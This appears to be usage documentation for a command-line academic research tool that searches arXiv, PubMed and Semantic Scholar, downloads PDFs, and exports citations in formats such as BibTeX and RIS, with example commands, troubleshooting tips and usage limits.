Academic Research Hub

Search and retrieve academic papers from multiple sources including arXiv, PubMed, Semantic Scholar, and more. Download PDFs, extract citations, generate bibliographies, and build literature reviews.

⚠️ Prerequisite: Install OpenClawCLI (Windows, MacOS)

Installation Best Practices:
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Never use --break-system-packages as it can damage your system's Python installation.

Quick Reference

Core Features

1. Multi-Source Search

Search across multiple academic databases from a single interface.

Supported Sources:

• - arXiv - Physics, mathematics, computer science, quantitative biology, quantitative finance, statistics
• PubMed - Biomedical and life sciences literature
• Semantic Scholar - Computer science and interdisciplinary research
• Google Scholar - Broad academic search (limited, no API)

2. Paper Download

Download full-text PDFs when available.

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3. Citation Extraction

Extract and format citations from papers.

Supported formats:

• - BibTeX
• RIS
• JSON
• Plain text

4. Metadata Retrieval

Get comprehensive metadata for each paper:

• - Title, authors, abstract
• Publication date
• Journal/conference
• DOI, arXiv ID, PubMed ID
• Citation count
• References

Source-Specific Commands

arXiv Search

Search the arXiv repository for preprints.

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Available categories:

• - cs.AI - Artificial Intelligence
• INLINECODE9 - Machine Learning
• INLINECODE10 - Computer Vision
• INLINECODE11 - Computation and Language
• INLINECODE12 - Combinatorics
• INLINECODE13 - Optics
• INLINECODE14 - Genomics
• Full list

Output:
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PubMed Search

Search biomedical literature indexed in PubMed.

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Publication types:

• - Clinical Trial
• Meta-Analysis
• Review
• Systematic Review
• Randomized Controlled Trial

Output:
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Semantic Scholar Search

Search computer science and interdisciplinary research.

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Output includes:

• - Citation count
• Influential citation count
• Reference list
• Citing papers
• Fields of study

Output:

1. BERT: Pre-training of Deep Bidirectional Transformers
   Authors: Devlin J, Chang MW, Lee K, Toutanova K
   Published: 2019
   Paper ID: df2b0e26d0599ce3e70df8a9da02e51594e0e992
   Citations: 15000+
   Influential Citations: 2000+
   Fields: Computer Science, Linguistics
   Abstract: We introduce a new language representation model...
   PDF: https://arxiv.org/pdf/1810.04805.pdf

Essential Options

Result Limits

Control the number of results returned.

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Examples:
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Output Formats

Choose how results are formatted.

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Text - Human-readable format (default)
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JSON - Structured data for processing
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BibTeX - For LaTeX documents
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RIS - For reference managers (Zotero, Mendeley)
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Markdown - For documentation
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Save to File

Save results to a file.

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Examples:
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Download Papers

Download full-text PDFs when available.

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Examples:

# Download to default directory
python scripts/research.py arxiv "deep learning" --download --max-results 5

# Download to specific directory
python scripts/research.py arxiv "transformers" --download --output-dir papers/nlp/

Advanced Features

Citation Extraction

Extract citations from papers.

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Example:
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Date Filtering

Filter by publication date.

arXiv:
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PubMed:
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Examples:
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Author Search

Search for papers by specific authors.

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Examples:
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Sort Options

Sort results by different criteria.

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Examples:

python scripts/research.py arxiv "machine learning" --sort-by date
python scripts/research.py semantic "NLP" --sort-by citations

Common Workflows

Literature Review

Gather papers on a topic for a literature review.

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Finding Recent Research

Track the latest papers in a field.

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Highly Cited Papers

Find influential papers in a field.

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Author Publication History

Track an author's work.

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Building a Reference Library

Create a comprehensive reference collection.

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Cross-Source Validation

Verify findings across multiple databases.

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Output Format Examples

Text Format (Default)

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JSON Format

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BibTeX Format

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RIS Format

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Markdown Format

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Best Practices

Search Strategy

1. 1. Start broad - Use general terms to get an overview
2. Refine iteratively - Add filters based on initial results
3. Use multiple sources - Cross-reference findings
4. Check recent papers - Use date filters for current research

Result Management

1. 1. Save searches - Use --output to preserve results
2. Organize downloads - Create logical directory structures
3. Export citations early - Generate BibTeX as you search
4. Track sources - Note which database returned which papers

Download Guidelines

1. 1. Respect rate limits - Don't download hundreds of papers at once
2. Check licensing - Verify you have rights to use papers
3. Organize by topic - Use clear directory names
4. Keep metadata - Save JSON alongside PDFs

Citation Practices

1. 1. Verify citations - Check DOIs and URLs
2. Use standard formats - BibTeX for LaTeX, RIS for reference managers
3. Include abstracts - Helpful for later review
4. Update regularly - Re-run searches for new papers

Troubleshooting

Installation Issues

"Missing required dependency"
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"OpenClawCLI not found"

• - Download from https://clawhub.ai/
• Install for your OS (Windows/MacOS)

Search Issues

"No results found"

• - Try broader search terms
• Check spelling and terminology
• Remove restrictive filters
• Try a different database

"Rate limit exceeded"

• - Wait a few minutes before retrying
• Reduce --max-results value
• Space out requests

"Download failed"

• - Check internet connection
• Some papers may not have PDFs available
• Verify you have permissions to access
• Try downloading individually

API Issues

"API timeout"

• - The service may be temporarily unavailable
• Retry after a moment
• Check status at respective service websites

"Invalid API response"

• - Check if the service is down
• Verify your query syntax
• Try simpler queries

Limitations

Access Restrictions

• - Not all papers have downloadable PDFs
• Some content requires institutional access
• Paywalled journals may only show abstracts
• Google Scholar has strict rate limits

Data Completeness

• - Citation counts may be outdated
• Not all metadata fields available for every paper
• Some older papers may have incomplete records
• Preprints may not have final publication info

Search Capabilities

• - Boolean operators vary by source
• No unified query syntax across databases
• Some databases don't support all filters
• Results may differ from web interface searches

Legal Considerations

• - Respect copyright and licensing
• Don't redistribute downloaded papers
• Follow institutional access policies
• Check terms of service for each database

Command Reference

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Examples by Use Case

Quick Search

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Comprehensive Research

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Citation Management

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Tracking New Research

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Support

For issues or questions:

1. 1. Check this documentation
2. Run INLINECODE17
3. Verify dependencies are installed
4. Check database-specific documentation

Resources:

• - OpenClawCLI: https://clawhub.ai/
• arXiv API: https://arxiv.org/help/api
• PubMed API: https://www.ncbi.nlm.nih.gov/books/NBK25501/
• Semantic Scholar API: https://api.semanticscholar.org/